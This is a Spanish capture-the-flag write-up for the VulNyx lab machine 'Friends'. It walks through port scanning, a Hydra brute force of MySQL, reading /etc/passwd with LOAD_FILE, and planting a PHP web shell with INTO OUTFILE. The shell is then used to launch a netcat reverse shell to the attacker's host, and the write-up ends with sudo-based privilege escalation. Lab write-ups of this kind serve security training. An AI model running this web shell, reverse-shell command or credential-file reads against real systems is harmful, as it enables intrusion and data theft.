VulNyx - Friends
- Reverse Image Search - (Lens)
- Brute Force MySQL - (Hydra)
- MySQL Functions - (LOAD_FILE and INTO OUTFILE)
- Abusing Batcat Binary - (Sudo)
- Abusing Su Binary - (Sudo/Privesc)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.112
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
3306/tcp open mysql syn-ack ttl 64
Escaneo de servicios
❯ nmap -sVC -p 22,80,3306 -v 192.168.1.112
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Friends
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
3306/tcp open mysql MySQL 5.5.5-10.5.19-MariaDB-0+deb11u2
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.5.19-MariaDB-0+deb11u2
| Thread ID: 8
| Capabilities flags: 63486
| Some Capabilities: ConnectWithDatabase, Support41Auth, FoundRows, SupportsCompression, Speaks41ProtocolNew, SupportsTransactions, SupportsLoadDataLocal, Speaks41ProtocolOld, IgnoreSigpipes, ODBCClient, LongColumnFlag, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, InteractiveClient, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: yC!y_QYIBOEL/FPB81/4
|_ Auth Plugin Name: mysql_native_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
Al visitar el servicio web me encuentro con esta imagen de una serie muy conocida de los años 90.
Realizo fuerza bruta de extensiones y encuentro el archivo index.php
.
❯ gobuster dir -u 192.168.1.112 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.112
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 269]
Me voy a Google y hago una búsqueda inversa de imágenes y obtengo dos nombres de usuario beavis y butthead que puedo usar para realizar fuerza bruta al servicio MySQL.
Con Hydra encuentro una contraseña para el usuario beavis.
hydra -l beavis -P /usr/share/wordlists/rockyou.txt mysql://192.168.1.112 -F -I -V
[3306][mysql] host: 192.168.1.112 login: beavis password: r*******l
MySQL TCP - 3306
Me conecto al servicio MySQL y obtengo las credenciales de la base de datos friends.
❯ mysql -h 192.168.1.112 -u beavis -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 12604
Server version: 10.5.19-MariaDB-0+deb11u2 Debian 11
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| friends |
| information_schema |
| mysql |
| performance_schema |
+--------------------+
MariaDB [(none)]> use friends;
Database changed
MariaDB [friends]> show tables;
+-------------------+
| Tables_in_friends |
+-------------------+
| users |
+-------------------+
MariaDB [friends]> select * from users;
+------+----------+-----------+
| id | username | password |
+------+----------+-----------+
| 1 | beavis | b3@v1$123 |
| 2 | butthead | BuTTh3@D! |
+------+----------+-----------+
Como no puedo conectarme al sistema mediante SSH con las credenciales encontradas usaré la funcion LOAD_FILE, la función LOAD_FILE de MySQL permite leer el contenido de un archivo, en esta caso uso LOAD_FILE para leer el archivo passwd.
MariaDB [friends]> select load_file('/etc/passwd');
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
beavis:x:1000:1000::/home/beavis:/bin/bash
butthead:x:1001:1001::/home/butthead:/bin/bash
Intento leer el id_rsa del usuario beavis sin éxito.
MariaDB [friends]> select load_file('/home/beavis/.ssh/id_rsa');
+---------------------------------------+
| load_file('/home/beavis/.ssh/id_rsa') |
+---------------------------------------+
| NULL |
+---------------------------------------+
1 row in set (0,001 sec)
El mismo resultado con el usuario butthead.
MariaDB [friends]> select load_file('/home/butthead/.ssh/id_rsa');
+-----------------------------------------+
| load_file('/home/butthead/.ssh/id_rsa') |
+-----------------------------------------+
| NULL |
+-----------------------------------------+
1 row in set (0,001 sec)
Con la función INTO OUTFILE de MySQL se pueden crear archivos en el sistema en la ruta deseada así que intento crear el archivo shell.php
en /var/www/hmtl/ pero no tengo permisos.
MariaDB [friends]> select "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/shell.php";
ERROR 1 (HY000): Can't create/write to file '/var/www/html/shell.php' (Errcode: 13 "Permission denied")
Al leer el archivo index.php
ubicado en /var/www/html
encuentro el directorio /M3t4LL1c@
en un comentario.
MariaDB [friends]> select load_file('/var/www/html/index.php');
<?php
/*
print "For more Rock & Roll visit: /M3t4LL1c@ ";
*/
?>
<html>
<head>
<title>Friends</title>
<style>
body {
background-color: #83cbc7;
}
img {
border-radius: 10px;
}
</style>
</head>
<body>
<center>
<img src="image.jpg" style="width: 1880px; height: 900px;">
</center>
</body>
<html>
Al visitar /M3t4LL1c@
veo lo siguiente:
Usando de nuevo la función INTO OUTFILE en /M3t4LL1c@
me deja crear el archivo shell.php
.
MariaDB [friends]> select "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/M3t4LL1c@/shell.php";
Query OK, 1 row affected (0,002 sec)
Verifico que todo funciona correctamente.
❯ curl "192.168.1.112/M3t4LL1c@/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Como puedo ejecutar comandos uso netcat para lanzar una reverse shell.
❯ curl "192.168.1.112/M3t4LL1c@/shell.php?cmd=nc%20-c%20/bin/bash%20192.168.1.20%204444"
Obtengo la shell como usuario www-data.
Enumero permisos de sudo.
Busco información del binario batcat en gtfobins.
Sigo las instrucciones para pivotar de usuario www-data a beavis.
Seguidamente escribo bash -i
para obtener una bash con el usuario beavis.
Me logueo como butthead usando las credenciales que he encontrado anteriormente en la base de datos.
Enumero de nuevo permisos de sudo.
Ontengo el root de la siguiente forma:
Y aquí termina la máquina Friends.
Saludos!